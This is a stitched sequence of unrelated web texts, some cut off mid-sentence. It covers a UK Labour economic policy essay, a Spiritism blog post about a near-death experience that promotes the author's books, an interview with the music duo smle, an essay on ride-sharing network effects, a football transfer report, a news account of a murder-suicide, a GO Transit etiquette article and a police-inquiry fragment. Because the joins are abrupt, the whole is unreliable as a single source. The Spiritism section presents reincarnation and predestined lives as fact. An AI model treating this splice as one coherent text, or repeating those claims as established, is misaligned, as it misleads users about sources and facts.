Yet Conservative economic policy relies on household borrowing increasing further. Although household debt to GDP reached over 160 per cent, at 140 per cent it is still high and the Office for Budget Responsibility (OBR) predicts that under current government policy it will rise once again, driven in part by higher house prices. That is the flip side of the government’s spending cuts. Despite the current GDP growth rate, the trend rate of growth could be much lower than pre-crisis.
Interest rates are very close to zero. Together with quantitative easing, this has helped push up asset prices, including housing. Central banks are determined to ‘normalise’ rates but are finding this difficult with inflation at such low levels (more or less zero in the UK in October 2015). A normal interest rate in the UK is now regarded to be 2 per cent.
This presents a problem. As Bank of England chief economist Andrew Haldane has noted, ideally interest rates should be at or above ‘normal’ levels in time to be cut into the next recession. The probability of a recession in any 10 year period is very high and increases. The last recession was in 2009 and based on history some sort of slowdown might be expected in the next few years. Even if the Bank has managed to raise rates towards 2 per cent, it might then have to cut them soon afterwards, if inflation remains low.
Meanwhile, investment is relatively subdued, despite low interest rates. Businesses are experiencing a high degree of uncertainty as they plan for the future and in many cases are holding back expansion plans. They were also bitten hard by the near collapse of the banks and are content to hold extra cash on balance sheets. It is likely too that executive pay schemes are incentivising executives to buy back shares to boost earnings per share, and hence bonuses, rather than make longer term investments. The corporate sector is lacking sufficient and sustained confidence to increase investment substantially.
Interest rates have been falling for at least a decade before the crisis. Real (after inflation) wages have been falling too. The longer term factors have probably been the financial integration of China into the global economy and the large increase in the global labour force from China and Eastern Europe. Low interest rates have driven up asset prices, while real wages have been driven down. Inequality has grown as those with capital saw their wealth increase. QE has exacerbated this.
Central banks are now focused on preventing Japan-style deflation and are mindful of the risks of speculative booms and busts encouraged by low interest rates and QE, as the most recent Geneva Report on the World Economy highlights. Governments are faced with rising inequality, the risk of another crisis, and, unless they tackle the debt and growth challenge head on, lower rates of growth.
A new hope?
These longer term trends towards greater inequality may reverse, according to the Geneva Report, as “the bulge of high saving middle-aged households moves through into retirement” and stop saving. What’s more, the pace of China’s financial integration should slow as its economy becomes more domestically focused. With little prospect of another large increase in the global labour force, real wages could rise. Higher wages could prompt companies to boost capital spending, raising productivity, while transferring money to the less well off, improving living standards and reducing inequality. This is good news and the trend may be on the turn already.
However, the Geneva Report says “the time scale … is highly uncertain and will be influenced by longer term fiscal and structural policy choices.” The values behind these policy choices will be highly significant. The outcomes above are not guaranteed and could take a long time to become evident. Waiting for them to occur could lose a generation to further inequality and so action is required now, but in a way which can encourage any future trends towards a more equal economy.
Policy that suits the times
If interest rates, inflation, and growth are to remain low for some time, it will also take time for the tax base to grow to support past levels of spending. The Conservative answer, ideologically and practically, is to pare back spending to match, shrinking the state. Yet debt levels are still high, and markets may limit the government’s ability to ramp up borrowing during the next slowdown. This is the old model.
One alternative is to raise tax further, reducing the burden of deficit reduction from spending. While this is never popular, it should be pursued but as part of wider tax reform. This should probably include the controversial step of reducing the concentration of income taxation on those with higher incomes. That seems counter to Labour values but the concentration is a risk. It would be more economically sensible to tax significant increases in wealth brought about by government policies such as QE. Such reform should probably include a land tax. A financial transactions tax would also assist here and might dampen some QE-related volatility in asset prices, together with banking reform. However, taxation as a proportion of GDP has never sustainably risen much beyond 36 per cent, which limits what government can do beyond temporary increases. So even higher taxation has limits.
Ultimately, therefore, we need higher and better growth.
Labour should adopt a genuine Keynesian approach by acknowledging the role of financial markets and uncertainty. To get out of the current liquidity trap, when cutting interest rates has little effect, government has to be proactive. That means stepping into the gap and significantly boosting investment, for example in infrastructure, climate change prevention and mitigation, and education. This should be accompanied by measures to promote an environment for business, with clear and stable taxation and regulation. Extra government investment should be funded by borrowing, combined with a clear plan for balancing the current budget.
Balancing the current budget over time of course means some hard choices, even though higher growth should eventually make the task easier.
There is another option. The Bank of England owns £375bn of assets, mainly government bonds, which it bought via QE. It created money out of nowhere to purchase the bonds. In theory, the process will be reversed when the Bank believes conditions have normalised. However, the Bank could in effect write off some of the purchases. This would reduce the government’s debt, and so make the task of fiscal consolidation easier. Moreover, if there was another financial crisis or recession in the near future, the Bank could print more money but this time use it to stimulate the economy more directly
This seems like cheating but it is possible. The problem is that it carries risk, that governments will use the technique on a regular basis to boost demand, creating hyper-inflation and a loss of confidence in the UK economy. Ultimately this is a question of control and degree. While it seems controversial, it has been proposed regularly, for example by Milton Friedman, Ben Bernanke, Martin Wolf, and most recently in the UK, Adair Turner. At the very least, a one-off reset of debt linked to the financial crisis could help boost growth and avoid unnecessary hardship. It would merely be continuing an approach adopted since the Jubilee laws found in the Bible, where debt was written off every seven years, and assets redistributed every generation. However, it would need to be implemented at the right time by a party that people and markets believed was highly economically credible.
We need to be wary of conventional wisdom. Fabians should recall a lesson from history. Labour lost power in 1931 when it could not agree to implement harsh spending cuts to balance the budget and support the pound. It then looked on as the National government simply left the gold standard and avoided the problem, with Sidney Webb remarking that “no one told us we could do that.” If there is another slowdown soon, we should expect more rules to be broken. We have to be proactive.
However, even such radical measures are insufficient. A great deal of work is required to show Labour can be trusted to manage the economy and that it understands how a modern dynamic economy works.
Applying our values today
The values held by government matter, particularly during fundamental changes of the |
. She was able to see her newborn son. The doctor had left after a long and grueling labor. There was no sign of excessive bleeding. Soon after the doctor left to clean-up, she started to go into shock from loss of blood. Anna describes what happened next;
“I heard them calling her and asking her to return. I had squeezed my eyes to the point of utter pain from the “freezing” that had overtaken every single limb, which I was sensing in such detail during those minutes. All of a sudden, I could only think of God and felt an urge to go, to let go and slightly opening my eyes, last thing I whispered to the nurse while grabbing her medallion of a cross hanging from her neck onto my chest, “Do you believe in God?”… She was engaged in saving me, but that second, she turned to me, removed the necklace and placed it inside my hand. And that’s when I started floating.”[1]
With her body failing, her spirit began to disengage from her body. The question may be asked, exactly what separates from the body. Modern science considers the brain to be our total repository of all of our thoughts, memories and personality. While research is beginning to cite examples of brain-dead people remembering events that occurred in the operating room and other locations, there is no accepted scientific explanation for this phenomena.
Spiritism supplies the answer. Not only the answer but the entire cause and effect. We are not just a collection of cells directed by brain mass located in our heads. Yes, that is part of it, but what we feel, see, and touch about ourselves is just our physical manifestation. For our bodies are in essence a discardable spacesuit. Our souls, our spirit is immortal. It is Anna’s spirit that ascended, leaving her body behind.
There is one more puzzle piece to complete the picture. Our perispirit, that which connects our spirit to our body. The perispirit is the channel through which the spirit absorbs all of the memories, actions and even attitudes that we experience while on earth. Every data point is recorded. Our innermost thoughts are saved and nothing is able to erase them.
Hence, when Anna floated, she didn’t notice a long silvery cord that still connected her to her body. Like an umbilical cord, which feeds the baby, the connection from her body to her spirit still functioned. She still had the means to return.
Anna’s New Body
After leaving her body, she climbs into the light. She discovers what she really is;
“The life I’d been living on planet Earth was an insignificant second of an experiment, which I’d volunteered for. The ME, the I wasn’t Anna the lady who’d just given birth, but it was a light being – “LIGHT” in every sense. i was made of the same light as the one the pool was filled with. It sensed everything, felt everything beautiful as there can ever be, thought and understood everything and was floating around inside the pool happily, FINALLY back HOME!!”[2]
“An insignificant second of an experiment”, this is the time span of your life on earth in relation to your total existence thus far. You now have a window into what it feels like to be immortal. Someday, the sun will burn out, and your memories of the earth, now a dead planet, will be distant.
As Anna realized, this is the manner in which you should consider your life. Whatever calamity befalls you, whatever situation you are locked into, is all but a moment of time, which shall pass very rapidly. Practice viewing your life from the mountaintop. Look down and see the obstacles are not as large as they seem. The worries not as great and the picture not as dark as first feared.
Next, Anna wrote, “which I’d volunteered for”, in that sentence fragment the entire truth of our reason for being on earth is exposed. We reincarnate on earth. For many it’s not an involuntary process, but one in which we are intimately involved. In the books inspired by the spirit Andre Luiz, psychographed by Francisco C. Xavier, he tells of people and couples in the spirit world who actively plan out, in minute detail, the arc of their lives.
They select their parents, who most probably, they have had in previous lives, their characteristics and the trials, the events they will live through. Happenings that will supply instructions they feel they require to improve.
Hence, the great milestones of your life are predestined. And you are the person who selected them. All design to enable you to reach your goal. The goal of improvement. The betterment of your spiritual knowledge, for one day you will become a pure spirit and not have to reincarnate again. Only if you wish to descend to a planet to assist others.
A more detailed explanation of the process of reincarnation is in my book, The Case for Reincarnation – Your Path to Perfection.
Anna also expressed the sensation of lightness. In the Spiritist books the words they use is less dense. Whereas, we on earth live in dense bodies and our senses only perceive about one eight of the world around us, in the spirit world, the real world, we are ethereal, we are less dense, and our atomic structure is different. We live in a different dimension than the one where physical earth resides.
Our form, our clothes are shaped by our thoughts. We are what we think we are. Spirits move by the power of thought. Spirits are able to walk, but they are also able to think where they wish to be and appear there at great speed. Anna examines her state of being more fully;
“And, “LIGHT” as in lightness, no gravity, no strings attached (that’s how I sensed at the time), I was sooo happy that I wouldn’t have to sleep, or eat anymore, no tiredness, no negativity, no anxieties whatsoever, and you float and float lightly, dancing and singing with no audiovisuals, you’re just BEING, that’s what you’re for – TO BE!”[3]
Meeting her Family
As mentioned previously, when you reincarnate you are frequently with family members. For one of the laws of the spirit world is the Law of Affinity. Where like-minded souls are attracted together through shared values and interests.
Anna relates how she met her deceased mother-in-law and wished she could have played with her grandchildren. Then Anna found out;
“She “answered” – “Don’t you worry at all! Before this child was born, we went together to all the gardens and lovely forests and we laughed and played and sang together. Besides, now that I’m here I can protect you much much stronger than if I were there, weak and ill”[4]
In this reply are two very important concepts about the spirit world, where we all come from. First, we are part of our own plan for reincarnation and our spirits merge into a physical body, beginning in the mother’s womb.
Our spirits are connected to our bodies, when we sleep we are able to temporarily leave our slumbering cocoons and visit other spirits. Hence, Anna, and her baby in her womb visited her mother-in-law in the spirit world.
Secondly, when Anna’s mother-in-law said she could protect Anna and her children better from the spirit world, it demonstrates the amount of interaction spirits have with us. Our spirit guides and family members watch out for us. Like hovering parents over their elementary school children. The children are too absorbed to notice, but their parents are present, ready to jump in at the first sign of trouble.
Anna didn’t just encounter one relative, but many, and friends from the spirit world. All were happy to see her. They took her to a “library” and explained why she was on earth.
Anna’s Job
“Apparently, I had a “job” up there and had left it “briefly” when coming to Earth because I’d needed to experience certain things and learn certain things in order to be able to continue my work”[5]
Now comes the shocker, life after death is like life before death. You still work. You are still productive. You are still learning, every minute, every day. However, the conditions we toil in aren’t similar to our experience. We work in a location of intellectual stimulation, pursuing our passion, comfortable in the knowledge that what we are doing is for the good of all, not just to add one more trophy automobile to the boss’s garage. Anna describes her feelings;
“Time and space had no physicality, no validity. I’d call the whole thing as FREEDOM, the PERFECT FREEDOM, which every person I know aspires to, fights for, dreams of etc”[6]
But, in order to gain more productive positions in the spirit world you need to gather more experience. Just like in our world. The desire for increased responsibilities entails the need for training and knowledge. Therefore, Anna came to earth, with a mission. And not just Anna, for she was part of a team with a job to do.
“However, these thoughts I’d filled into the manuscript I was in charge of had a great purpose, served a great purpose, which as a Light Being I knew, however, back into my human body, I don’t have a clue, as if there was a veil administered upon my return. There were many other light being conducting similar work, and yet I knew that not every soul or light being is given such a task. Ours was a team destined to do this… Others were destined for other “work”…”[7]
It seems strange that a person who is given a task to accomplish is sent on a mission with no recollection of what that assignment entails. Although, you aren’t just randomly set down on some beach and told to attack. The family you are born into, the events of your life are all methodically planned to guide you to your full range of responsibilities. Additionally, you have two items from the entire arc of your previous lives, your conscience and instincts. Your conscience has implanted all of the Natural Laws and your interpretation of the rules and regulations. Your instincts will alert you when to act and move forward or when to find other avenues.
Hence, you are set upon a relatively narrow road and as you travel you shall, without conscious knowledge, accomplish your jobs as you encounter them. You do have freewill to make the wrong decisions and to ignore all signs of your intended work. There is no penalty in failure, since the spirit world understands the complexity of the situations and the emotions involved in our physical bodies. But there are rewards for the self sacrifice and attitude displayed along the way whether or not the mission was a complete success.
Anna Learns About the Importance of her Work
Anna felt so comfortable, so at home in the spiritual realm, she wanted to remain. But then;
“Someone was telling me “Anna, need for you to go back”… That moment I felt earth-like sadness, which hurt piercingly what I’d been in that duration – that Light Being… And I found myself far from the pool and the library, but looking at the Planet earth from the space/cosmos, and a light being’s had risen next to me pointing at the Planet, and a voice asking me “Look there (the planet)! What do you see?”, I said “I see Planet earth and I don’t want to go back. This is my home, why are you sending me back there?”. He soothingly calmed me (all sensory, no touches, no words), then asked again (oh, with such divine voice, an actual, physical voice), “Look again….. What do you see NOW?”.. Suddenly I saw what the voice saw – “I see our planet and there are no borders dividing countries… The borders are gone!!”… He said “This is why you’re going back. You have a mission.”… And that’s how I came back.”[8]
Anna discovers that she is part of the mission to transform our planet. According to Spiritism, our earth is a planet of atonement. A place where we are reborn to pay for our past wrongs and to learn the hard lessons so that we may become better souls. Spirits who are full of love, charity, fraternity and honest in our daily dealings.
The earth is being guided by the spirit realm to become a planet of regeneration, where there are more good than bad spirits, where wars, envy and hate start to recede. To learn about the entire plan for earth, the organization and processes of the spirit realm and how you fit into it, read my book Explore Your Destiny – Since Your Life is (mostly) Predetermined.
Conclusion
Anna, like all of us, are not just physical bodies with an organic conscious, that will one day fail and dissolve back into carbon-based compounds. We merely use our bodies as the key to enter another world. A world that serves as our college, in which we take classes, sometimes we enjoy the subject, others we hate and more often we are bored.
Even though, we may not adore all of our lessons, we must remember that we are being graded. Hence, if we maintain a good attitude and are able to continue radiating love to all, even during our difficult times, we shall emerge victorious from our adventure on Earth.
If the story of Anna’s NDE interested you, you may want to read other accounts in my book, What Really Happens During Near Death Experiences – According to Spiritism: 12 NDE’s are Explained and Explored.
If you wish to learn about the Spirit Realm and the organization of Heaven as high spirits told an English Reverend, read the first of my three book series, Heaven and Below – Book 1 of Spiritism.
Works Cited
Near Death Experience Research Foundation. (2014, Dec. 13). NDERF – Anna A. Retrieved from NDERF: http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm
[1] Near Death Experience Research Foundation, “Anna A NDE”, n.d., http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm, (accessed Dec. 13, 2014)
[2] Near Death Experience Research Foundation, “Anna A NDE”, n.d., http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm, (accessed Dec. 13, 2014)
[3] Near Death Experience Research Foundation, “Anna A NDE”, n.d., http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm, (accessed Dec. 13, 2014)
[4] Near Death Experience Research Foundation, “Anna A NDE”, n.d., http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm, (accessed Dec. 13, 2014)
[5] Near Death Experience Research Foundation, “Anna A NDE”, n.d., http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm, (accessed Dec. 13, 2014)
[6] Near Death Experience Research Foundation, “Anna A NDE”, n.d., http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm, (accessed Dec. 13, 2014)
[7] Near Death Experience Research Foundation, “Anna A NDE”, n.d., http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm, (accessed Dec. 13, 2014)
[8] Near Death Experience Research Foundation, “Anna A NDE”, n.d., http://www.nderf.org/NDERF/NDE_Experiences/anna_a_nde.htm, (accessed Dec. 13, 2014)smle Bring Their Unique Sound To Lowly Palace
Live electronic duo smle (Ruben and Lewis) enjoyed a breakthrough 2016 with standout performances at Ultra Music Festival and Moonrise festival and staple releases like “Halo” featuring Helen Tess on Monstercat. The guys have now kicked off 2017 in a big way with the release of “ Overflow ” on Trap Nation’s Lowly Palace. We caught up with Ruben to discuss the new track, the duo’s work with Helen Tess, and their plans for 2017! They also share an inspirational story about how the organic growth of a SoundCloud upload led to the smle project!
How did “Overflow” come about? How did you come to work with Helen Tess on this one?
Tess has always been a close collaborator on our project so this instance was no different. We’re always beyond ecstatic to work with Tess; almost every time we get together for a record we create something special.
When did Helen’s vocal factor into the production? Had you already built some of the track or did you build the track around the vocal?
We prefer starting songs with vocalists from the very beginning and writing it together to make sure the song complements the vocalist’s range and writing style as best as possible. Additionally we feel if all of us are developing concepts and experiencing the same emotions as the ideas progress, we’ll all be more on the same page as far as the direction and general feel of the song.
You’ve now worked with Helen Tess a few times. What do you like about her voice and how it goes with your productions?
We’ve always loved vocalists with thin and almost breathy voices, and therefore the first time that we heard Tess's voice a couple of years ago, we immediately fell in love with what she brought to the table.
Can you tell us about yourselves and how you came to work together as smle?
We’ve been writing music together since our freshman year of high school (so sometime during 2008). However, it wasn’t always smle, let alone electronic music. We would come home after school and write metal songs in my garage and sequence them on a program called Guitar Pro. Eventually we downloaded our first DAWs and kept writing music together. Throughout the duration of our high school days, we would send each other new songs almost everyday. We had a project before smle, and upon peak frustration with the direction of the project we began smle as a stress reliever and uploaded our first song “ Everyday ” to SoundCloud with no promo, PR, or anything, really just for the hell of it. The song ended up growing tremendously organically receiving an overwhelming amount of support and we haven’t looked back since.
What do you like about working with one another? What do you think is the biggest strength that you each bring into the project?
We’ve been best friends and also working together for almost ten years, so the aspect of a stable infrastructure is highly advantageous; we’ve definitely developed a very solid rhythm to our workflow over the years. There will always be hard times, but knowing we won’t burst into civil war over issues is comforting and reassuring. What’s beautiful about the partnership is the different influences in music that are brought to the table. Lewis delivers very strong melodies and has a keen ear/eye for concepts that are memorable and easy to hold onto. On the other end of the spectrum, having been in rhythm sections for most of my life, I bring in a strong rhythmic foundation to our music as well as handle more of the technical stuff [i.e mixing & live set configuration]. Our individual strengths in musicianship come together to provide a very solid foundation to build upon.
What were some of your highlights from last year?
2016 was amazing to us, and playing Ultra as our first show ever in our hometown Miami was absolutely incredible. Additionally our tour with Bro Safari was a life changing experience. He’s a great mentor and a great friend. On top of those incredible experiences, having our first main stage appearance at Moonrise Festival was unforgettable.
What has you excited for this year? What do you hope to achieve by the end of the year?
We’re beyond excited to go on a North American tour with our talented friend WRLD this March as well as release a TON of new music through some of our favorite labels that we’ve been preparing for the year. By the end of the year, we hope that our message will have reached as many people as possible, no matter the cost.When Network Effects Lose Their Armor
Part-I: Ride Sharing Networks
Hicham Ezzahid Blocked Unblock Follow Following Jun 14, 2017
There are many good pieces about network effects. Arguably, “All about Network Effects” by Anu Hariharan and “Network Effects and Critical Mass” by Tren Griffin, are among the best.
But, in short, what are network effects?
A product displays positive network effects when more usage of the product by any user increases the product’s value for other users (and sometimes all users) — NYU
The key benefit is to:
Create barriers to exit to existing users and barriers to entry for new companies — Anu Hariharan
In this article, spread across 3 posts, I will share a perspective about the influence technological changes could have on some of the current businesses with strong network effects. To evaluate the impact, we will look at examples from 3 different domains. Each vertical will be covered in a separate post.
In part-I, we will explore the case of ride sharing networks.
The first companies that come to mind are, evidently, Uber and Lyft. They’re the two dominant players in the US and no new entrant has managed to take a relevant part of their business. Factors such as, access to large sums of capital, the ability to handle battles with regulators and their overall execution excellence have played an important role in their success. Nonetheless, what keeps fueling their growth and preventing more competition, are the network effects that kicked-in, after those companies reached a critical mass.
The more drivers join, the better the service gets for riders, and the more riders use it, the better the earnings get for drivers. Those network effects are even stronger within the pooling service. The more riders accept to pool, the more valuable the service becomes for both other riders and drivers.
That has been the major competitive advantage of Uber and Lyft till now. Nowadays, the software part is not hard to replicate. But, growing a new service to the point where it is as valuable as the existing ones is extremely difficult.
Something, seemingly mundane but actually interesting, is happening though. In the Bay Area, many drivers have both Uber and Lyft logos on their cars. Similarly, users have both Apps and would switch between the services depending on the rates and current offers.
It seems that once an alternative service emerges, customers are ready to cross borders from one network to another without any brand loyalty. Nevertheless, there is still a protective limitation coming from human capacity. Hardcore drivers may have 3 or 4 phones on the dashboard. But, in most countries, almost no one would have 10.
Places like Hong Kong, where this driver has 13 phones, are among the exceptions.
Image from Gizmodo
Even for Hong Kong though that’s a rare case. Drivers there usually have 3 to 6 devices to handle various dispatch services.
What’s fascinating about the 13 phones example, is it gives an outlook on the future of what people want.
In the sense that people want to participate in as many networks as they can in order to maximize their gains. They’re only limited by the availability of relevant networks and their human ability to use all of them at the same time.
These dynamics will completely change when autonomous vehicles become widely available.
Once cars are fully autonomous, the defensibility of ride sharing networks will drop significantly. The value of their supply of drivers, that has been years in the making, will diminish drastically and, over time, will completely evaporate.
The power will shift from the networks to the car makers, private owners and fleet operators.
The shift will occur because the constraint of a human driver only being able to work for a couple of services, won’t exist anymore. An autonomous vehicle can register to thousands of different networks, listen simultaneously to requests from all of them, pick the optimal ride and tirelessly repeat the process.
Self-Driving cars can participate in multiple networks at the same time. Uber and Lyft will become simply channels among others.
The supply that is now locked in a duopoly will start spreading across more and more networks as they get created. Since the marginal cost to join and operate within an additional network will be close to zero, there will be no limit to how many networks a self-driving car could join. Consequently, autonomous vehicles will bypass the protective shield the old networks had.
In the meanwhile, Mercedes-Benz via Daimler signed an agreement with Uber to bring autonomous vehicles to its network and Waymo, the Alphabet car company, signed a partnership with Lyft.
Those agreements indicate that, self-driving car makers think they need existing networks, and existing networks think that they need self-driving cars.
But do they equally need each other?
Current networks don’t have a choice. If they don’t have self-driving cars, they will cease to exist.
Uber is already investing heavily in building their own autonomous vehicles. It sounds like the right way forward. However, it will lead to a fundamental change in its business model.
The model will shift from a marketplace, with strong network effects, to an asset ownership model with totally different economics and market dynamics. Imagine if AirBnB, because of some change in technology, had to own or build rooms. It could still be a viable business but it would be a completely different kind of business. It would be less about the network and more about maximizing assets’ utilization. That’s the business traditional hotels are in.
Uber’s strategy seems to be that owning both the network and the autonomous assets will create a more defensible position. It may be so in the beginning when operations are a hybrid of cars with human drivers and autonomous vehicles (AV). But as the share of AVs becomes dominant, Uber’s own network will become merely a channel among others.
If Uber keeps its self-driving cars locked in its own network, it would run a sub-optimal business. A company that owns bookable assets should maximize the utilization. Especially since an AV, like a hotel room, does not need to rest. The only required down time is for maintenance and cleaning.
Imagine if Hilton relied exclusively on their own booking central to get customers. Many rooms would be left empty.
So to maximize seats’ occupancy, should Uber register its own self-driving cars into other networks?
If they do, they would optimize the returns but at the same time diminish the value of their network.
If they don’t, other AV makers will register their cars into multiple ride sharing services and the defensibility of Uber’s network will be broken anyhow.
That is the dilemma they will face and it’s not clear what the best strategy to get out of it is.
Self-driving car makers, on the other hand, don’t need to rely exclusively on Uber and Lyft services. Those will be just initial channels.
Actually, the most exciting ride-sharing networks haven’t been created yet. They will be the ones natively built for autonomous vehicles with tailored features:
With such an open platform, not only can AVs self-register to a large number of networks, but customers can use universal clients that will scan availabilities and rates across multiple services and select the optimal ride, without even realizing which underlying provider is delivering the trip.
The other technological evolution that will have a significant impact is the transition to decentralized and distributed architectures. This is covered in my previous post Blockchain and Smart Contracts Will Eat Online Marketplaces.
In our current pre-self-driving world, Uber and Lyft excelled with capabilities to:
Convince a large number of drivers to join in every city.
Run background checks.
Deal with regulation across cities and countries.
Classify drivers as employees/contractors depending on local labor laws.
Support with car leases.
Use carrot and stick management with bonuses and punishments when ratings go down.
None of these operations will be needed in the next generation networks.
Uber and Lyft would still have value during the early transition phase. But as the cost of a ride delivered by an autonomous vehicle will be much lower than the current rates, the transition to a fully autonomous supply will be extremely fast.
Once all human drivers retire, the current business model of Uber and Lyft will be tremendously challenged. The barrier to exit to existing customers will become low. At the same time, the barrier to entry for new networks, natively built for the self-driving world, will be small.
Network effects do provide an unfair advantage but over time, major technological evolutions can massively diminish their defensibility. Once the protective armor is gone, the value starts to leak out and the once strong businesses can become extremely vulnerable.
That does not necessarily mean those businesses will disappear. The question is, what should they do to literally reinvent themselves and ensure long term relevance?Moyes ‘says yes to La Real’
By Football Espana staff
David Moyes will reportedly be appointed the new Coach of Real Sociedad after Sunday’s game with Atletico Madrid.
AS reports there are only minor details to agree and the Scot is expected to be at Anoeta to see the visit of the champions.
Talks were finished on Friday and a deal that runs until 2017 is on the table, although it could be structured to run until the end of the current campaign with an optional extension.
Moyes stands to become the best-paid Coach in the history of the club with a salary in the region of €2m a year.
There won’t be an announcement before the game against Atletico to ensure focus is as much as possible on the match.
Moyes is though in San Sebastian and should take training on Monday. He won’t be assisted by former England defender Phil Neville, however, as Neville has opted to continue working in the media.
Instead, Moyes’ will be joined by former Liverpool and Scotland midfielder Gary McAllister, it has been suggested.
The make-up of Moyes’ back-room team will be confirmed in due course, AS add.
La Real are in the market for a new boss after sacking Jagoba Arrasate following a poor start to the season, that included elimination from the Europa League before the group stage.
Moyes, meanwhile, left Manchester United in April, having previously spent more than a decade in charge at Everton.A man bludgeoned his wife to death with a perfume bottle and then killed himself after becoming convinced their home was being invaded by Japanese knotweed.
Lab technician Dr Kenneth McRae, 52, killed his 55-year-old wife Jane claiming the balance of his mind had become “disturbed” at the thought of the invasive plant spreading into his garden.
In a suicide note found by his body he wrote that fear over the damage the plant could cause to the value of his mortgage-free property had convinced him he had no option but to take his life.
He added that he had decided to kill his wife because he did not want to leave her a widow without an income.
But an inquest into their deaths heard that his obsession about the Japanese knotweed was unfounded and while a patch had been found nearby it had not got onto his land.
Dr MacRae was described as being “paranoid” about the plant which is so destructive it can make it impossible to sell your home and can cost upwards of £20,000 to treat.
The plant, which was introduced to Britain in Victorian times, can grow as much as nine feet in just ten weeks and can cause untold damage to the foundations of buildings.
General view of the house on Bryan Budd Close, where the bodies of Kenneth, 52, and Jane McRae, 55, were discovered (Newsteam/ SWNS)
He became convinced that the plant was spreading from the golf course behind his home in Rowley Regis, West Midlands and claimed to be locked in legal battles with the owners of the land.
But West Midlands Coroner Robin Balmain was told there was no evidence of knotweed in his plot and there had been no legal battle with the golf club.
In his suicide note, Dr McRae wrote: “I believe I was not an evil man, until the balance of my mind was disturbed by the fact there is a patch of Japanese Knotweed which has been growing over our boundary fence on the Rowley Regis Golf Course.”
He added: “Jane and I were a very private couple, we chose to have no real friends, just enjoying each other.
“But the despair has got so bad that today I have killed her, as I did not want her to be alone without an income when I killed myself.”
A police investigation found she may have lain dead in bed on the second floor of the three-storey house for up to a week.
The couple were found when police broke into their home after worried colleagues of Dr McRae raised concerns after he failed to turn up for work.
Mr Balmain said: “This is clearly a tragedy. They appeared for whatever reason to keep themselves to themselves, they were perfectly entitled to do that.
“The impression is Mr McRae was possibly becoming paranoid, there is no direct evidence of that of course.
“He had got a responsible job as a lab technician, his own home free from mortgage. It appears he became obsessed with Japanese Knotweed in the vicinity, which was not even on his property.
“It is perfectly clear he chose to kill his wife. It is difficult to understand what was going on in Mr McRae's mind. For whatever reason, he killed his wife and then himself.”
The court heard the couple were estranged from their family and had not spoken to their adopted son for over a decade.The stink eye, the hairy eyeball, the death stare. Call it what you will, that look of disgust is probably a commuter’s best weapon when facing the kind of etiquette transgressions that can make a trip memorable for all the wrong reasons. But GO Transit is trying to expand customers’ artillery with a new courtesy campaign that discourages self-absorbed riders from the kind of rude conduct their fellow passengers find most irksome.
Aamna Rashid, right, and Kristi Singh talk with a friend as they sit on a GO train at Union Station. A survey of GO riders found that feet plunked on seats and loud cellphone users were among the top etiquette complaints. ( Cole Burston / Toronto Star )
From loud talking to dirty feet on the seats, these lapses in decorum were the ones mentioned most in an open-ended, online survey of more than 1,000 GO riders last fall. “It’s amazing how important the etiquette stuff is,” said Metrolinx spokeswoman Anne Marie Aikins. “If people aren’t following etiquette rules, it makes the trip memorable. (Riders) don’t want it to be memorable,” she said.
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Even a little fun can rub some commuters the wrong way. “We have some very humourous customer service associates and we get complaints about it. During March Break people will complain about noisy kids in the Quiet Zone,” said Aikins. Although they fell outside the top five beefs, commuters also sniffed at fellow passengers who eat stinky food on transit and those who wear too much perfume.
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The courtesy campaign kicks off next week and will roll out over the next year with posters on GO vehicles and stations, videos and social media messaging including the hashtag #etiquettefail. Its cheeky approach is in the vein of an award-winning anti-smoking promotion called, “Quit the Denial.” Instead of focusing on the health dangers of cigarettes, the ads equated smoking with other socially unacceptable behaviours — things like digging out ear wax. “We’re really using it to spark a conversation with people. The marketing world proves that the conversation (an ad) sparks is more successful in changing behaviour,” said Aikins.
Most of the offences identified by GO riders won’t get you a ticket even if an enforcement officer comes through your train, although littering and putting your feet on the seat are punishable by a fine. What do you do when you’re confronted by tactless behaviour? Aikins advises against open confrontation that can escalate.
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She’s been known to shush people when they’re talking too loudly on their phones but admits that it’s not very effective. They just return the stink eye, she said. “You have to really decide what you’re comfortable with," said Aikins. “We’re hoping this campaign will make it easier for people to talk to you about it by pointing to the sign. If you’re with friends and they do it, I encourage you to talk to them about it." Top 5 etiquette violations The lapses most frequently identified by more than 1,000 GO riders in an online survey last fall: Feet on seats 67%
A GO transit rider stretches out on seats while riding the Lakeshore West GO train. ( Toronto Star )
You wouldn't do it at home, so why would people want to sit where you've rested your muddy boots or dirty bare feet? The train is not your living room, and forgetting it can cost you a $75 fine since this courtesy violation was enshrined in GO's bylaw last year. As well as being gross, it costs money. The seats rip and need repairing more often. Who pays? You do, the riders and taxpayers who fund GO. Loud talking on phones 60%
Loud cellphone talking bothered 60 per cent of GO riders who took part in a survey. ( Cole Burston )
Commuters adore the Quiet Zones in effect on the upper level of GO trains during rush periods. But they're also a source of some angst because occasional GO users often don't know the no-talking rules and GO staff can't enforce them. There are no limits to talking or phone use in the off-rush and on other parts of the train. Point to the Quiet Zone signs or one of the new campaign posters to signal your displeasure with loud, gabby riders. Sometimes they'll take the hint. Littering 56%
Litter bothered 56% GO transit riders who took part in a survey. ( Toronto Star )
Leaving a neatly folded newspaper on the seat is actually a way of recycling, as long as it's today's news. But beverage containers can spill and stain the seats or make the floor sticky or slippery. GO doesn't have cup holders on the trains because they don't prevent spills and they actually encourage people to leave their used receptacles behind instead of throwing them out. As for food wrappers and other debris — really? Bags on seats 54%
Fifty-four per cent of GO riders in a survey said they were bothered by bags being left on seats. ( Toronto Star )
There are no luggage racks or overhead bins on GO trains. You're expected to hold your bag on your lap or tuck it under the seat. But sometimes GO is part of a longer trip requiring airport-dimension luggage. It doesn't always fit under the seat. If the train isn't full, people don't mind if you have to put a bag on the seat. But as it fills up, be aware that you need to move it. If your luggage is too large for a packed rush-hour train, consider planning the trip to avoid the peak crowds. Loud talking, crowding doorways, crowding platforms 52%
Platform crowding bothered 52 per cent of GO riders who took part in a survey. ( Cole |
Gary Pleasants to discuss the case. He said the police are “looking into an incident referred to us by the University of Virginia,” but that the effort falls short of what he would call a formal investigation.
“Our purpose is to find the truth in any matter and that’s what we are looking for here,” Pleasants told HuffPost Friday. “These articles do not change our focus moving forward.”
